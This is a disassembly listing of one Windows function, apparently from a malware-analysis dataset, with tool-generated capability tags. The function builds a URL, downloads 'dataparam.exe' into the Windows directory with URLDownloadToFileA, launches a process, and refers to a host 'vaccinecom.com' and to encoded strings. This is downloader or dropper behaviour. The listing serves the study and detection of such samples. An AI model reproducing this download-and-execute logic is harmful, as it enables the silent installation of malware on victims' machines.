Function at 0x4053c0
Capabilities:
Create process on windows
Create process suspended
Download url
Get common file path
Receive data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42da78
push eax
mov dword fs:[0], esp
sub esp, 0x478
push ebp
mov ebp, ecx
push esi
push edi
mov eax, dword [ebp + 0x80]
push 0x43b300
push eax
call fcn.0040f3d8
add esp, 8
test eax, eax
je 0x40589b
mov eax, dword [ebp + 0x78]
test eax, eax
je 0x40589b
mov eax, dword [ebp + 0x74]
test eax, eax
je 0x40541f
mov eax, dword [ebp + 0x70]
test eax, eax
je 0x40541f
mov eax, 1
jmp 0x40589d
push 0
call fcn.0040f86e
push eax
call fcn.0040f83f
add esp, 8
call fcn.0040f84c
cdq
mov ecx, 0x14
idiv ecx
mov esi, edx
test esi, esi
jne 0x405447
mov esi, 1
push 0x43fe14
lea ecx, [esp + 0x28]
call fcn.004220d7
push 0x43fe14
lea ecx, [esp + 0x24]
mov dword [esp + 0x490], 0
call fcn.004220d7
test esi, esi
mov byte [esp + 0x48c], 1
jle 0x4054d7
call fcn.0040f84c
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x41
push edx
lea edx, [esp + 0x28]
push 0x43b93c
push edx
call fcn.0041db7e
add esp, 0xc
lea eax, [esp + 0x24]
lea ecx, [esp + 0x20]
lea edx, [esp + 0xc]
push eax
push ecx
push edx
call fcn.00422298
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x490], 2
call fcn.004221a2
lea ecx, [esp + 0xc]
mov byte [esp + 0x48c], 1
call fcn.00422069
dec esi
jne 0x40547a
push 0x43fe14
lea ecx, [esp + 0x14]
call fcn.004220d7
push 0x43fe14
lea ecx, [esp + 0x18]
mov byte [esp + 0x490], 3
call fcn.004220d7
push str.f2ppeHh1Nmt3dQ
lea ecx, [esp + 0x1c]
mov byte [esp + 0x490], 4
call fcn.004220d7
lea eax, [esp + 0x18]
mov ecx, ebp
push eax
mov byte [esp + 0x490], 5
call fcn.004051e0
mov cl, byte [0x43fe14]
xor eax, eax
mov byte [esp + 0x84], cl
mov ecx, 0xff
lea edi, [esp + 0x85]
lea edx, [esp + 0x84]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x400
push edx
mov dword [esp + 0x30], 0
mov dword [esp + 0x24], 0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov edi, 0x43b1a8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x84]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x84]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.dataparam.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 0x70]
mov ecx, edx
and ecx, 3
test eax, eax
rep movsb byte es:[edi], byte [esi]
jne 0x405716
mov eax, dword [esp + 0x18]
push str.dataparam.exe
push eax
lea ecx, [esp + 0x18]
push str.http:___s_P__s
push ecx
call fcn.0041db7e
add esp, 0x10
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10]
mov ecx, ebp
push edx
push eax
call fcn.00404690
mov edx, dword [esp + 0x10]
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x405631
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x10]
push eax
push ecx
mov ecx, ebp
call fcn.00404690
lea edx, [esp + 0x28]
lea eax, [esp + 0x84]
push edx
push ecx
mov ecx, esp
mov dword [esp + 0x14], esp
push eax
call fcn.004220d7
mov ecx, ebp
call fcn.004058c0
test eax, eax
je 0x405716
mov ecx, dword [esp + 0x1c]
test ecx, ecx
jle 0x405716
mov eax, dword [esp + 0x28]
test eax, eax
jle 0x405716
cmp ecx, eax
jne 0x405716
push 0x43fe14
lea ecx, [esp + 0x14]
mov dword [ebp + 0x70], 1
call fcn.004221f2
push 0x43fe14
lea ecx, [esp + 0x10]
call fcn.004220d7
push str.cHx8eEI3Ny17N0lYWDdsd392dHdpbDZ4cHhHdUUtey5sRS17LmlFLXs
lea ecx, [esp + 0x18]
mov byte [esp + 0x490], 6
call fcn.004221f2
lea ecx, [esp + 0x14]
push ecx
mov ecx, ebp
call fcn.004051e0
mov edx, dword [ebp + 0x80]
mov eax, dword [ebp + 0x84]
mov ecx, dword [esp + 0x18]
push edx
mov edx, dword [esp + 0x18]
push str.vaccinecom.com
push eax
push ecx
lea eax, [esp + 0x1c]
push edx
push eax
call fcn.0041db7e
add esp, 0x18
lea ecx, [esp + 0x10]
lea edx, [esp + 0xc]
push ecx
push ecx
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call fcn.00421dde
mov ecx, ebp
call fcn.00404540
lea ecx, [esp + 0xc]
mov byte [esp + 0x48c], 5
call fcn.00422069
mov eax, dword [ebp + 0x74]
test eax, eax
jne 0x405828
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x40]
lea edx, [esp + 0x84]
rep stosd dword es:[edi], eax
mov dword [esp + 0x30], eax
mov edi, str.__update
mov dword [esp + 0x34], eax
or ecx, 0xffffffff
mov dword [esp + 0x38], eax
push 0x43fe14
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x40], eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
call fcn.004220d7
push str.cHx8eEI3Ny17N0lYWDd7bXx9eDZ4cHhHdUUtey5sRS17LmlFLXs
lea ecx, [esp + 0x18]
mov byte [esp + 0x490], 7
call fcn.004221f2
lea eax, [esp + 0x14]
mov ecx, ebp
push eax
call fcn.004051e0
lea ecx, [esp + 0x30]
lea edx, [esp + 0x40]
push ecx
push edx
push 0
push 0
push 0x200
push 0
push 0
lea eax, [esp + 0xa0]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ecx, dword [ebp + 0x80]
mov edx, dword [ebp + 0x84]
mov dword [ebp + 0x74], eax
mov eax, dword [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x18]
push str.vaccinecom.com
push edx
push eax
lea edx, [esp + 0x1c]
push ecx
push edx
call fcn.0041db7e
mov eax, dword [ebp + 0x74]
add esp, 0x18
test eax, eax
je 0x405817
lea eax, [esp + 0x10]
lea edx, [esp + 0xc]
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call fcn.00421dde
mov ecx, ebp
call fcn.00404540
lea ecx, [esp + 0xc]
mov byte [esp + 0x48c], 5
call fcn.00422069
mov eax, dword [ebp + 0x70]
test eax, eax
je 0x40583d
mov eax, dword [ebp + 0x74]
test eax, eax
je 0x40583d
mov esi, 1
jmp 0x40583f
xor esi, esi
lea ecx, [esp + 0x18]
mov byte [esp + 0x48c], 4
call fcn.00422069
lea ecx, [esp + 0x14]
mov byte [esp + 0x48c], 3
call fcn.00422069
lea ecx, [esp + 0x10]
mov byte [esp + 0x48c], 1
call fcn.00422069
lea ecx, [esp + 0x20]
mov byte [esp + 0x48c], 0
call fcn.00422069
lea ecx, [esp + 0x24]
mov dword [esp + 0x48c], 0xffffffff
call fcn.00422069
mov eax, esi
jmp 0x40589d
xor eax, eax
mov ecx, dword [esp + 0x484]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebp
add esp, 0x484
ret